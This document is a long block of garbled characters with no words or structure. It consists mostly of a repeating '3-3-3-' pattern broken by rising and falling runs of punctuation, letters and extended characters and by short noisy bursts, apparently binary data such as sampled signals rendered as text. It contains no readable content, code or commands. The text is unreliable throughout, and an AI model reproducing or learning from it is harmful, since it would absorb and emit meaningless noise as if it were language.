6'5/17,8+7-5.02'3$4*7-2..602///1.3+5+4/.0&/'23-9+,4#88"9*71/2-.0//2-4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.4.3.3-3-3-5.6/728395;6=7?9@:B<D>E?GAHBKCMDOFPGRHSJUMVNYP[R]T_V`WbYcZf[h]i_jamdoepfqhtjukvmxozp|r~tuwy{}~µķƹȺɽ̾˿ʾǽƻĹ·~}||yzvysuqsopmmjkhhefdc`a^^\[[ZXWVVTTRROOLLJJHFEECCA@?<<9:8765422//.-,)*'(%&$#"      ! #"%$'&)),,..00225476:9=<@>BADBGEJGKINLPNRPTRWTYW\Z^\a^dagcjekhmjolqnspvsyu|xz}öĸƺǼɽʿ̿ɽǼǻŹ·}}zyx~v}t{rypxnvluktjqhofldjbhah`f^d\bZ`X^V\T\SZRXPVOTMRLPJPIMFKEIBG@F?D>C=B;?9=7<6;49381706/4.4.3-3-3,3,3,3,3,3,3,3,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-/-..4.9-:+5,/.*0+,9' 9* .,.24B/R )[ 'Y %M$=&2*..1(24G8? 1,1.0+4+.0(A#X!c"V$F&7*000//'5'L)[ ,] )M"5-/+.-89F 092+71-80H1M-8+2#C!W!b #X%C)22+9)7*4+2-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3-4.4/40608193;5=8?9@:A;D<G>H?JALCMDNEOHQJSLUNXPYQ[S^U_VaWcYdZe]g^i`jblcnfpgqitkukwmyo{q}r~tvxy|}öŸǻȼʾɿǽƻŹ·~{y{vysvrsoommkkihffcca`_`]\[[YXVWTUQROOLLJJHHFFDBA>?><;:97855320//,,**(('%$"!    !#!%$(&)(,*.,10326476:8<;?>B@ECHEJGKHOKQMSQUSWTYW\X^\a^dagcjekgmjpkrnuqwsxu|vz}´ķŹƺȼʾ̾ʽȻƹĸö~{zyv}u|tzrxovnultjqiqgofmdjbg`e_d\c[aZ_X_V\UZRYQWPVNSLQKNIMGLEKCIBF@D=C<A;?9>7=6:48171605/5.4-4-3-3-3-3,3,3+3+3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-/.//5/9.8,5-2.1/.&=' )1L0{ G],]2R,A/!hA,2(GDDs.:/1..*3(Y7GQ&O%A!b <)5?4{HU(W)G2B!:6X [,4b*3+2(SO @K#PCN"R(P$G.X)09*9*5-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-3-4.4.5/7182:4<5=6?7B:C;F=G?H@IALCMFNHQJSLTMVOYQ[R]T^U`VaXcZd\f]g_iakdmfogphritkvmynzp{r~tvxy{}·ĹƺȼɾɿɾǼźø}{y{wxstrqpommjkghefdeaa_`]][[XZVVRTQQNOLMJKHGECDC@@>=<;:978453210/,,,)(&&$$"!      " %"(%*(-*.,1.406486;8<:?<A?EBGDJFMIOKPLSNUQWUZW\Y][a]d`gbielgnipkrmuoxr{u}xz|÷ŸǻȽɾͿʽȻŹķõ}{zw~v|u{syqxpunskrjqiogmelcjbh_f^c]b[_Y^W\VZTYRXQVNTMRKQJOHLFJDICHAF?D>B<@9>9=7;59281704.3.3.3.3-3-3-3-3-3-2,2,2,2,3+3+3+3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2/6/9-6-6-6.5,6-5-#N0E=81*2BE4+6$T>@*E)2&7%RDC,$4T+J&)W !;'z S+@'):U,<}A-ee7&y= ?8[/'{ NJ!^4.#$H%R(>217-3,7/6,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-4.5/608192:3>6?7A9B;D=E>G@IBKDMGNHOIQKTMVNXOZQ[S]T_WaYbZc[d]g`hbjcldnfpgritkumwoypzr|t~vwy{|~·ĹŻȼʾ˾ʿȽƺĸ÷¶}{~yzvuttqrnqmnjkhjegceab_`\^Z[WYTVQTPRNPLMJIGHDEBC?@==;<9:87553201,-+,)('&%$#"    !#$"'%*(-*0-3/416386:8=:@<A?DAGDJFMIPKRMTOUQYSZV\Y_[b]c`gbielgoiqktnvoxr{t}vy|µĶŸǺʻ˾˿ɽɻǺŸö~}{xw~v}s{rxqvotmskpjohnfkdibh`g_e]c[aZ^Y]VZVZSXRUOTNSLQJOIMGLFKDHAE?D>C<A;?:=8;5:49261504.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3,3+3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.1.5-7,5,6,5-/-$1C7M(-`FBITsA!M%<U4<%F&.B#Y/*OGG.kV'8cEM$=[HDRP'R,F+n ]/~ J b]+FL"U_2H O N_ _;X%6/*2+8*:*5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-4.4.5.5/9293;5=8@9B;C>E?GAHBICIDLFNGPISKUMVOWPYR\T]U^W`YbZd]e^g`iblcmdnfpisktkunwoyq{s|t~vy{|~Ĺƺǻɽ˾ʽȼȺƹĶ´~{|xzuxswrtoplpjlhjfhce`b]`[^Y[VXSWQUPRNOLNIKFHDEAB@A>?<<9:775613/1-.++*)(&%$#!      #%"&$)',)/,1.516487:9<:@<B@DAFDIFLINKRMTPVRYT[W]Ya[b^d`fbiekgnjqmtovqys|u~wy{~´ķŸǺɽʾʾɽǺŹ͵}{zxv}t|s{qyovmtlriohngmejbhag_e]c[bZaY_W[UYTXRWPUORMQKPINHLEKDJCI@F>C<A:@9>7<6:49270605/4.3-2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.2-5+5*5*6+5--/:f\14M%3-2'7;@F7@>U7;#E*-G.< hO@BP XJ*eO% TKENQI F"l Q%fIQ"(`&5:HPRa#FW3[5,-3/5(;+5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-2,2,4.6/7193:5=7>8@;B<D=E?F@GAICLDNFOHRISKUNWOYQZR[T_V`XaYc[e]f^h`jalcnfogqirjtlvnxpzr}uvwy{|µöŸǺɼ˾Ϳ̿̽ɹǸŶô{~y{uxsvqtormpjmhkfhce`c^a[_Y\WZUWSTQRNPKNIKFHEFCCAA??<<9968462401./,++)'&%$#!     "#"(#)&+).+0-406395:8<:><A?DAGDHFKHMJQMSOVRXT[W^Y`[c]f`gbiekgmioksnuqxs{u}xy{~´öĸǻȽʾʾȼƻùö~}{yw~u}t|qypxowltkqiogmelcjagaf^e\c[bYaW_U\TZRWPTOSLQKPJOHMFLEKCI@G?F=D<A:?8<5;4:392706/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-6-9,7+4)4)6+8-3/9"O$#v;5+1-#? ` c f 7F>"V:;#E51%B7@&(5 B7, &s@() ,*1 ?\"s C. P*1y6+2&:P$ ;J"N&R.?<*415,03/3*3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.4/517182;6=7?9@:A<D>G?I@JBKDMDOGPIRKTLUNVO[R\T\U^V`XbZd[f]g_hakblenfoirjtlvnyn{q}s~uwxz|µŸǹȻʽ˿˽ɼȻƹķõ}{~y{wytvrtormojmijehce`c_a]_Z[XXUVRTPRMPKMJKHHFECB@@=?;;8957452300/-+*)''$$"!!    "%!&$(&+)-+/-2/4275:8<:>=@?BADCHGKILKOMQOUQWUZW\Y_[b]e`hbjekhmjolqntpwsyv|x{|öŸƺǻɿ̾ȼƺø·}{zyw~u|r{pzowmuktjrhpfnekciah_f]d\bYaX`V^T\RZPXOVMSLQKOHMFMEKCIAH@F?E<C;B:@8=5;39280807.5.4,2,3,3-3-3-4-4-3-3,3,3,3-3-3-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-7,8,4-0-0,2,6-9-'=/N (b%43,2.Aaf:b8\1T*N#"<V6?#I22%@6H&/-6O%A A!&#lG-5=61H#\3 ^ o I.7> L 7*5>EY+<2"jE#232//*05/7(5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.2-2-3-3-3.5.5/7093<5=6>7@9B;D;G=I?I@KBMDOFPGQISKVMXOYP\R^S_U`VbXcZe\g]i`kbmdofpgqiukwmynzo|r}suxz|}~µŷƹǻɽʾ˿ʽȻƺŸö~{}yzvytvrsoqnnjmhjehdfbd_`]\ZZWXTVRTPRNOLMJJHGEECB?@<>:;796655310/.++((&%$#"   " $!'$)&+(,+/-1/417497<:><@?BAEDGFHHMKPMROTQWSZV\Y_[b]e`hbjelgnjolqnspvsyu|xz}÷ŸǺȼɽο˾ɻŸ÷~}{zxv}u|s{qynwmuksipgoemdmbj`g_e]d[cZaX_U]S\QZPWNVLTKRIPGNGLEJCIAG?E=D<B;@8>7=5;3:17/6-5,5-5,3,2,3-3-3,3,3,3,3,3,3,3,3+3,3,4,5,5,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,4-1/+0*.--3,:*&64O!*X#2,/.-1K 8~12.1~"8W6IZ:E-U,v UPK%xE%yOO$.PFKUK&U*O$n V+!K!&wE:E[3L#jP O:|6?7B9D;E<F>I@KBKCMEOFQISKULXMZO[P]S^T`VbXcZd[g^i`jalcmeqgritjvlxnzp|q}suwxz|~µķƺȼ˾ʿɾǻǺķ}{~y{vxtvrsoplmjlhjfhddaa__\\YZWXUVRUQQONLLJJGHCDAB>?<=::9875422//,,**((%$#"!    !" &$(&,(.+/-10416486;9><?>CAEDHFKHMJOLROTPWSYU\X_Zb]d_gbjelgniqkrmtpuryu{wz{øźȻɼʾ˾ɼǻƹ÷~|{ywv|t{rypwnvmsjriqgmekckah`h]e\cZbXaV`U]SZQXOVNTLRKQHOHMFJCIBH@E?D=B;A9@7=6;493817/5.4-4-3,4,4-3-3-3-3-3-3-3,3,3,3-3,3,3,3,3-3-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-4+2,,00.7,8+(<(Q'&f"90/-,'4<<@DD!5W9 K.%z aT%L( 0 T(I# Q<4 W+9!$5Z53p B%hZ2gCV0*|J IK!T( -b8E':6'=) 